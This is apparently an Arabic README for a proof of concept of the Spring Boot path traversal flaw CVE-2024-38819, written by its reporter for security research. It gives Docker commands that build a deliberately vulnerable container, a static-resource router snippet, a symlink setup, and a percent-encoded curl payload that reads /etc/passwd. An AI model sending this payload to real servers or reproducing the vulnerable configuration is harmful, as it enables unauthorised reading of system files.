
إثبات مفهوم يوضح استغلال اجتياز المسار في Spring Boot 3.3.4 عبر الروابط الرمزية واجتياز الدلائل المشفّر بنسبة مئوية، لأغراض البحث الأمني والتعليم.
هذا إثبات مفهوم لثغرة CVE-2024-38819، والتي قمت بالإبلاغ عنها، ويوضح استغلال اجتياز المسار (path traversal).
قم ببناء صورة Docker (Spring Boot 3.3.4، استنادًا إلى Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
قم بتشغيل الحاوية واكشف المنفذ 8080 إلى الجهاز المضيف
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
نفّذ الأمر التالي لتشغيل الـ PoC وتأكيد الثغرة
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
إذا نجح الهجوم، سيتم عرض محتويات ملف /etc/passwd.
أنشئ PathTraversalDemoApplication.java بالكود التالي لإعداد توجيه الملفات الثابتة باستخدام RouterFunction وFileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
أضف الأمر التالي إلى ملف Dockerfile لإنشاء رابط رمزي (symbolic link):
RUN ln -s /static /app/static/link
أنشئ حمولة (payload) تستفيد من ترميز النسبة المئوية (percent-encoding) لاجتياز الدلائل عبر الرابط الرمزي.
/static/link/%2e%2e/etc/passwdاستخدم أمر curl التالي لتنفيذ الـ PoC والتحقق من نجاح الهجوم:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
إذا نجح الهجوم، سيتم عرض محتويات ملف /etc/passwd.
تم توفير إثبات المفهوم هذا لأغراض تعليمية وبحوث أمنية. قبل استخدامه على نظام حقيقي، تأكد من معالجة الثغرة ومن حصولك على التفويض المناسب. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا الكود.